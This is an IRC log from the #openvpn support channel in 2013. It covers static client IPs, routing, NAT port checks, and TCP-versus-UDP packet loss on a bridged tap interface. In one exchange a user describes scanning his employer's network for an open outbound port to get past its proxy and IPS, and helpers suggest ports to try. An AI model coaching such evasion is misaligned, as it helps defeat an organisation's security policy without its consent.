15:53 -!- Guest68402 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has left #openvpn []
15:53 < EugeneKay> If you have multiple vpn servers linked like this you'll want it to be the strongest/most central
15:54 < EugeneKay> All traffic between spoke servers will go through it
15:54 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
15:55 < Sur3> ahh your right, probably then i could connect the other servers in a chain and not in a star to A so that not all trafic is going over A
15:55 < EugeneKay> Well, full-mesh networking is hard
15:55 < EugeneKay> You'll want a routing daemon for that
15:56 < Sur3> ohh thought ip tables could just forward the connections if its not a mesh but a server chain. ^^
15:57 < EugeneKay> Statically, sure
15:57 < EugeneKay> Failure handling is hard
15:58 < Sur3> hm i think i'll give it a try anyway. ^^ just have to find out then how to give openvpn-clients fixed names for the client servers having a fixed address ^^
16:00 < Sur3> *ip not names xD
16:00 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:00 -!- mode/#openvpn [+v s7r] by ChanServ
16:04 < Sur3> is there a way to set a static ip in the client script?
16:07 < EugeneKay> Sure, but the server almost always pushes it
16:07 < EugeneKay> !static
16:07 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
16:08 < EugeneKay> The server won't know what IP the client is using unless it tells it to
16:12 < Sur3> k, thx
16:13 < pekster> The server will also drop packets from a client (at least using tun) if the client tries to use an IP other than the one that was pushed
16:15 < Sur3> ohhh, think i have no choise then as using the ccd on the serverside for assigning static ip
16:16 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 255 seconds]
16:16 < Sur3> or can the behaviour to drop unknown ips be deactivated?
16:16 < EugeneKay> Tap.
16:16 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
16:16 < EugeneKay> But that leads to madness.
16:18 < Sur3> hm but would allow older games with ipx so sounds not that bad ^^
16:28 -!- rymnio [~chatzilla@91.234.245.245] has quit [Ping timeout: 252 seconds]
16:30 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:33 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:35 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 246 seconds]
16:39 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
16:39 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
16:39 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
17:11 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
17:11 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
17:12 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
17:17 -!- AustLaw [~Austin@94.200.189.50] has joined #openvpn
17:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
17:23 -!- druid [~druid@unaffiliated/druid] has quit [Quit: Les lois sont semblables aux toiles d’araignée, qui attrapent les petites mouches, mais laissent passer guêpes et frelons. - Jonathan Swift]
17:35 -!- Austin_ [~Austin@94.200.189.50] has joined #openvpn
17:37 -!- AustLaw [~Austin@94.200.189.50] has quit [Read error: Connection reset by peer]
17:43 -!- Sur3 [~Sur3@ip-78-94-220-250.unitymediagroup.de] has quit [Quit: Verlassend]
17:47 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
17:51 -!- Austin_ [~Austin@94.200.189.50] has quit [Quit: Leaving]
18:05 -!- NuclearMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
18:06 -!- NuclearMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
18:06 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has joined #openvpn
18:06 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
18:08 -!- rymnio [~chatzilla@91.234.245.245] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
18:11 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
18:17 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 246 seconds]
18:17 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
18:18 -!- Guest36435 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
18:18 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
18:18 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 246 seconds]
18:18 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds]
18:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds]
18:18 -!- Xigam [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
18:19 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Ping timeout: 246 seconds]
18:19 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
18:19 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:c985:a29e:382:7714] has quit [Ping timeout: 246 seconds]
18:19 -!- xBytez [~xbytez@unaffiliated/magix] has quit [Ping timeout: 246 seconds]
18:19 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 246 seconds]
18:19 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 246 seconds]
18:19 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
18:20 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
18:22 -!- [fred] [fred@konfuzi.us] has joined #openvpn
18:22 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
18:22 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has joined #openvpn
18:22 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
18:22 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:c985:a29e:382:7714] has joined #openvpn
18:23 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has quit [Changing host]
18:23 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
18:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
18:23 -!- mode/#openvpn [+o plaisthos] by ChanServ
18:23 -!- lbft [~lbft@199.195.249.177] has joined #openvpn
18:24 -!- Guest36435 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has left #openvpn []
18:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:40 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
19:41 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:46 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
19:52 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:52 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
20:05 -!- Guest97176 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
20:09 -!- Guest97176 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
20:09 -!- Guest97176 [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:20 -!- Guest97176 [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
20:23 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
20:25 -!- rob0_ is now known as rob0
20:31 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:32 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Excess Flood]
20:34 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
21:03 -!- master_of_master [~master_of@p4FF2455B.dip0.t-ipconnect.de] has joined #openvpn
21:04 -!- master_o1_master [~master_of@p4FF246F6.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
21:10 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
21:11 -!- JackWinter1 [~jack@vodsl-9435.vo.lu] has joined #openvpn
21:13 -!- JackWinter [~jack@vodsl-5042.vo.lu] has quit [Ping timeout: 245 seconds]
21:24 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 276 seconds]
21:26 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
21:27 -!- EugeneKay [eugene@madeitwor.se] has quit [Quit: ZNC - http://znc.sourceforge.net]
21:28 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
21:37 -!- mjixx_ [~markus@80.67.14.31] has quit [Read error: Operation timed out]
21:41 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
21:53 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:c985:a29e:382:7714] has quit [Quit: emmanuelux]
22:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:13 < phunyguy> OK, I'm back and fully bridged again... With tap0 on it's own subnet on the server, I get no packet loss.  with tap0 bridged to br0, I get like 20-40% packet loss.  Any first steps for troubleshooting?
22:13 < phunyguy> My WAN link is quite speedy, 50/20 mbit
22:15 < phunyguy> 57 packets transmitted, 22 received, 61% packet loss, time 56101ms
22:16 < phunyguy> that one was quite bad
22:16 < EugeneKay> Yeah, stop using bridging
22:20 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
22:27 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:34 < phunyguy> EugeneKay: it is a valid use case.
22:34 < phunyguy> and a supported use case.
22:34 < pekster> Packets get dropped for a reason
22:34 < pekster> tcpdump on the tap interface on the server; if you get them, it's the server or the LAN dropping them
22:35 < phunyguy> pekster I was hoping you could help me with tcpdump syntax
22:35 < pekster> Just save it to a file and view it in wireshark
22:35 < pekster> -s0 -w some/where.pcap -pnvi br0
22:35 < pekster> Or something
22:35 < pekster> `man tcpdump` if you don't know what any of those do
22:37 < phunyguy> :-/ ok.
22:39 < phunyguy> pekster: just doing a tcpdump -i tap0 | grep ICMP
22:39 < phunyguy> I can see the sequence numbers, and some are missing
22:39 < phunyguy> there was a gap of like 11 just now
22:40 < phunyguy> this is straight tcpdump of the tap0 interface
22:40 < phunyguy> with pings originating from the router
22:42 < Cultist> Without getting into heavy details, if I have a server on my home network should it be fairly straightforward and painless to set up openvpn so I can securely connect my phone and laptop to the home net while on the go?
22:44 < phunyguy> pekster: http://i.imgur.com/kzODoJW.png
22:45 < pekster> Dump on the encapsulating traffic
22:46 < pekster> If they're getting lost, openpvn is still doing it's job fine. It obviously can't fix problems with your transport
22:46  * phunyguy twitches
22:46 < pekster> There's no if ( random_number > 40 ) drop_traffic; line in the code or anything
22:46 < phunyguy> yeah I realize that.
22:47 < phunyguy> I am coming to a realization
22:47 < phunyguy> let me test on laptop to router connection
22:47 < phunyguy> eliminate the wan
22:47 < phunyguy> straight lan cable to lan cable openvpn on each side
22:51 < phunyguy> dropping packets
22:51 < phunyguy> 72 packets transmitted, 38 received, 47% packet loss, time 71307ms
22:52 < phunyguy> pekster, I don't know what else to do.  this is completely taking the wan link out of the equation.
22:53 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
22:54 < phunyguy> I know you are probably getting tired of me by now, but I really need help.
22:54 < phunyguy> maybe MTU 1500 is the problem?
22:55 < phunyguy> (grasping at straws here)
22:56 < phunyguy> The other guy in #Netfilter veridied my bridge config also, he said it was fine.
22:56 < phunyguy> verified*
23:09 < phunyguy> :-/, changed to UDP vs TCP.....
23:09 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
23:10 < phunyguy> 100 flawless pings.  100 packets transmitted, 100 received, 0% packet loss, time 99144ms
23:11 < phunyguy> so.  TCP on bridged tap is the problem.
23:11 < phunyguy> but works on routed tap
23:11  * phunyguy facepalms
23:11 < Olipro> you mean tun?
23:12 < Olipro> what's the MTU of the TAP interface set to?
23:12 < phunyguy> nope, tap device with own subnet
23:12 < phunyguy> 1500
23:12 < phunyguy> tried 1450 with no change
23:12 < Olipro> what's the MTU of the real internet link?
23:12 < Olipro> s/real internet/physical/
23:12 < phunyguy> WAN interface that the server listens on?
23:13 < phunyguy> that is 1500 as well
23:13 < Olipro> and OpenVPN is using UDP?
23:13 < phunyguy> but with that being said, I am going over the wifi here locally
23:13 < phunyguy> to test
23:13 < phunyguy> and I was using TCP because I have to on my work PC for it to be able to communicate out to my home VPN server
23:13 < phunyguy> switched to UDP and got 100 flawless pings
23:13 < phunyguy> with bridged tap
23:13 < EugeneKay> !tcp
23:13 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
23:13 < phunyguy> EugeneKay: like I said, I can't help it.
23:14 < EugeneKay> Though ICMP-over-TCP shouldn't be so bad
23:14 < phunyguy> and I have that last option
23:15 < phunyguy> Maybe I should just set up IPSEC/L2TP on the work PC
23:15 < phunyguy> might perform better
23:15 < phunyguy> but TCP never seemed like the issue before.... when using tun/tap devices on the server on it's own subnet rather than joining the br0 bridge.... it works perfect.
23:16 < phunyguy> but at the same time UDP connections with tap0 on br0 also works perfect.
23:16 < Olipro> when you have the bridge, you assign all addresses to the bridge interface and not the slaves right?
23:16 < phunyguy> o.O
23:16 < Olipro> um...
23:16 < phunyguy> yes.
23:17 < phunyguy> br0 has LAN IP
23:17 < phunyguy> eth1 and tap0 have none
23:17 < Olipro> alright, juuuust checking
23:17 < phunyguy> :)
23:17 < phunyguy> I just wish I had a udp port going out on my work network
23:18 < phunyguy> they make us proxy everything
23:18 < Olipro> and you have TCP configured with nagle disabled? (--tcp-nodelay)
23:18 < phunyguy> silly.
23:18 < phunyguy> Olipro: yes
23:18 < Olipro> maybe your proxy server just hates you
23:18 < phunyguy> its not going over proxy
23:18 < phunyguy> I just got lucky and found one single lone outgoing TCP port that was open
23:19 < phunyguy> TCP/1935
23:19 < EugeneKay> Tried UDP:53?
23:19 < phunyguy> yep.
23:19 < phunyguy> closed.
23:19 < EugeneKay> Lame
23:20 < EugeneKay> 33434?
23:20 < Olipro> I'd just nmap the entire portrange
23:20 < phunyguy> did.
23:20 < phunyguy> came up with just the one
23:21 < phunyguy> took a while....
23:21 < EugeneKay> Lame.
23:21 < Olipro> and you're sure that 1935 isn't being transparently proxied?
23:21 < phunyguy> they are dicks when it comes to the network
23:21 < phunyguy> I know
23:21 < phunyguy> Olipro: that was my thought
23:21 < EugeneKay> Could be getting rate-limited
23:21 < phunyguy> they have an IPS in place
23:21 < EugeneKay> Which would lead to the packet loss
23:21 < phunyguy> but you would think that would kill a nonbridged link too
23:22 < phunyguy> because tun device works great.
23:22 < phunyguy> 0% loss
23:22 < phunyguy> also
23:22 < Olipro> do they block other protocols?
23:22 < pppingme> why are you bridging?
23:22 < Olipro> such as GRE
23:22 < phunyguy> tap0 bridged, gives me the packet loss here locally going form laptop to router over wifi
23:22 < phunyguy> so its not work.
23:22 < phunyguy> its home
23:22 < Olipro> if not, I'd just setup a GRE pseudowire with ipsec in transport mode over it
23:23 < phunyguy> Olipro: taking the work stuff out of the equation nets the same result.
23:23 < phunyguy> ..until I switch to UDP here locally
23:23 < Olipro> have you done a tracepath between yourself and the other end? (internet IPs)
23:24 < Olipro> just because the interface has a 1500 MTU doesn't mean it is all the way there
23:24 < phunyguy> Olipro: laptop and router are on the same subnet...
23:24 < phunyguy> for my tests
23:24 < phunyguy> I took all that out of the equation
23:24 < Olipro> aah
23:24 < phunyguy> 172.18.0.167 to 172.18.0.1 -
23:24 < phunyguy> connection is still hosed
23:25 < phunyguy> hosed with TCP connections, perfect with UDP
23:25 < phunyguy> I would use UDP if I could
23:25 < Olipro> what distro/OS is the router & laptop running?
23:25 < phunyguy> Ubuntu 13.04
23:26 < phunyguy> windows client at work does same thing
23:26 < Olipro> iptables ruleset?
23:26 < phunyguy> and linux client at work
23:26 < phunyguy> typical, nothing strange there
23:26 < phunyguy> allow all internal access, block external except for established/related
23:26 < Olipro> yeah, try bypassing conntrack for your test
23:27 < phunyguy> it is
23:27 < phunyguy> all internal access is allowed
23:27 < phunyguy> I mean ALL
23:27 < phunyguy> including VPN tunnel endpoint
23:27 < Olipro> so there's nothing that'll drop on
23:27 < phunyguy> the only thing that has connection security is WAN link which isn't used in this test
23:27 < Olipro> *on INVALID
23:27 < phunyguy> mhm
23:27 < phunyguy> policy ACCEPT
23:28 < Olipro> yeah, something's not right if you're getting massive loss when you're directly connected to the endpoint
23:28 < phunyguy> exactly, and it is only on TCP server
23:28 < phunyguy> not on UDP
23:28 < phunyguy> on a low latency link
23:29 < phunyguy> it is the combination of tcp and br0
23:29 < phunyguy> kills it.
23:49 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
23:50 < phunyguy> just read something interesting.  nmap isn't accurate when scanning UDP ports.  I may give a few random ports a go tomorrow
23:58 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
--- Day changed Mon May 06 2013
00:04 < phunyguy> LOL!!!!!
00:04 < phunyguy> UDP port 52 is open going out
00:05 < phunyguy> 53**
00:05 < phunyguy> winning.
00:05 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has joined #openvpn
00:07 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 276 seconds]
00:09 < EugeneKay> ;-)
00:09 < phunyguy> nevermind.  was just garble coming through from my own dns requests
00:09 < phunyguy> using nc
00:09 < phunyguy> back to the drawing board
00:11 < EugeneKay> Ah, lame
00:13 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
00:14 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
00:15 < phunyguy> I am not too optimistic anymore
00:16 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: No route to host]
00:17 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:17 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
00:17 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
00:17 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
00:21 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
00:24 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
00:26 < i7c> if i set ping-restart my client will never exit automatically hence never change my routes automatically... is that correct?
00:34 < i7c> what is the difference to not setting these ping options at all?
00:42 -!- Idiot [~Idiot@c-24-99-153-32.hsd1.ga.comcast.net] has joined #openvpn
00:43 < Idiot> anyone know what to do if you accidentally downloaded the wrong file, uninstalled it, and now whenever you try to download openvpn it says you already have it installed and wont' let you install it?
00:46 < i7c> on what system would that be?
00:46 < Idiot> windows 7
00:46 < i7c> ah derp. no idea about that =D
00:47 < i7c> it complains when you download? use another browser
00:47 < Idiot> it downloads alright, just doesn't install after that.
00:48 < i7c> have you double checked the installed programs?
00:48 < Idiot> yeah, been at it for three hours with a fifteen minute seizure break.
00:48 < i7c> :D
00:49  * i7c pats Idiot
00:49 -!- Idiot [~Idiot@c-24-99-153-32.hsd1.ga.comcast.net] has quit []
00:49 < phunyguy> lol ragequit
00:49 < i7c> well
00:49 < i7c> i was about to give an advice
00:51 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
01:03 -!- brute11k [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
01:05 <@krzee> EugeneKay, your words of advice in the other chan earlier helped, i found launcher.db and it had everything i wanted in it
01:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:05 < EugeneKay> Goodie
01:06 < EugeneKay> !EugeneKay
01:06 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
01:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
01:59 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 264 seconds]
02:06 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:09 -!- brute11k [~brute@89.249.235.172] has joined #openvpn
02:10 -!- brute11k1 [~brute@89.249.235.172] has joined #openvpn
02:12 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
02:14 -!- brute11k [~brute@89.249.235.172] has quit [Ping timeout: 252 seconds]
02:22 -!- druid [~druid@drink.cypr.in] has joined #openvpn
02:49 < Ali_nz2> is there a way to check a port is open from command line for a computer behind a natted router?
02:50 < EugeneKay> Connect to it?
02:51 < Ali_nz2> EugeneKay: with like telnet?
02:51 < EugeneKay> Sure
02:51 < Ali_nz2> I am trying to diagnose if a port forward is the issue for 1194 for a server behind a NAT router
02:52 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
02:55 -!- druid [~druid@drink.cypr.in] has quit [Ping timeout: 256 seconds]
03:00 -!- druid [~druid@drink.cypr.in] has joined #openvpn
03:01 -!- druid [~druid@drink.cypr.in] has quit [Changing host]
03:01 -!- druid [~druid@unaffiliated/druid] has joined #openvpn
03:03 < Ali_nz2> ok, the requests are hitting the server ok. now need to figure out why its not conecting!
03:04 -!- j5m1th__ [~j5m1th@2.186.99.225] has quit [Remote host closed the connection]
03:04 < mnice> hello
03:05 < mnice> i have weird problem with my tunnel which i can't resolve without help
03:07 -!- al_nz1 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
03:08 < mnice> i have openvpn running on udp in router with public IP .. if i login via ssh to router using public ip or LAN address of router (when connected via vpn) and do ``cat /some/1MB/text/file'' it's normal (yes, even when i use LAN ip over vpn) but when i connect to any computer in LAN and do same, the output is very slow so it's crippled via tunnel
03:09 < mnice> C <-net-> R <-lan-> L ### C == client eg me, R == router and L is some host in LAN
03:09 < mnice> if i connect to L via ssh tunnelling and using router's public ip it's all fine
03:10 < mnice> same like if i connect to router using its LAN ip (so via vpn) it's fine, but when i ssh from router to some lan box (using LAN ip) the tcp/ip is crippled and ``cat /some/1MB/file'' on terminal is very slow
03:11 < mnice> what might be problem please ?
03:11 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has quit [Ping timeout: 256 seconds]
03:13 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has joined #openvpn
03:14 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
03:14 -!- al_nz1 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 276 seconds]
03:15 -!- al_nz1 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
03:15 < lmm> hi, I am hosting an openvpn which some friends connect to (the purpose is simply to have a lan-like connection between all of us for playing games on). Two now live in the same house, i.e. will be behind the same nat router. Will this cause problems and if so what's the best way to avoid them (ideally with minimal effort on their part as they're less
03:15 < lmm> technical than me)?
03:17 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has quit [Ping timeout: 256 seconds]
03:20 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has joined #openvpn
03:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
03:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
03:21 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:21 -!- al_nz1 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 256 seconds]
03:22 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
03:23 < al_nz1> hmm, I cannot access remote lan servers by there IP, even tho I have added a static route in the gateway
03:24 < al_nz1> I have pushed a route to the client
03:25 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has quit [Ping timeout: 276 seconds]
03:27 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 256 seconds]
03:28 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
03:28 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:30 < vandemar> al_nz1: you've looked at routing tables on both sides?
03:31 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has joined #openvpn
03:31 < Ali_nz2> as for the server, do I need to add a entry? even though it "knows" about both networks?
03:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
03:32 < Ali_nz2> client routing looks ok
03:34 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 276 seconds]
03:36 < Ali_nz2> vandemar: http://pastebin.com/1FEMAS0A
03:37 -!- p3rror [~p3rror@41.250.251.159] has joined #openvpn
03:41 -!- unicorn [~p3rror@41.249.253.52] has joined #openvpn
03:41 < Ali_nz2> do I have to restart networking after echo >1 /proc/sys/net/ipv4/ip_forward ?
03:42 -!- unicorn [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
03:42 -!- p3rror [~p3rror@41.250.251.159] has quit [Ping timeout: 272 seconds]
03:51 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
03:51 < mnice> Ali_nz2: no
03:52 < mnice> anyone here willing/able to reply at my question ?
03:52 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
03:52 < mnice> i tested --fragment 1300 --mssfix 1300 (and 1200 also) on server side and same --fragment on client side
03:52 < mnice> but seems like nothing is affected
03:55 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
03:55 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
03:56 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
03:59 < mnice> ip a
03:59 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has quit [Ping timeout: 256 seconds]
03:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
04:01 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 245 seconds]
04:02 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:03 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
04:05 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
04:21 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
04:21 -!- Poster|w [poster@gateway/shell/bshellz.net/x-upcjpowgpeqyvuic] has quit [Ping timeout: 252 seconds]
04:22 -!- Poster|w [poster@gateway/shell/bshellz.net/x-kclkypefudenedgc] has joined #openvpn
04:23 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
04:29 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
04:29 -!- Poison [~Poison@210.23.81.164] has joined #openvpn
04:32 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 272 seconds]
04:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:37 -!- brute11k1 [~brute@89.249.235.172] has quit [Ping timeout: 252 seconds]
04:38 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:42 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
04:43 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
04:51 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has joined #openvpn
04:52 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 276 seconds]
04:55 -!- al_nz1 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
04:56 -!- Poison [~Poison@210.23.81.164] has quit [Quit: Leaving]
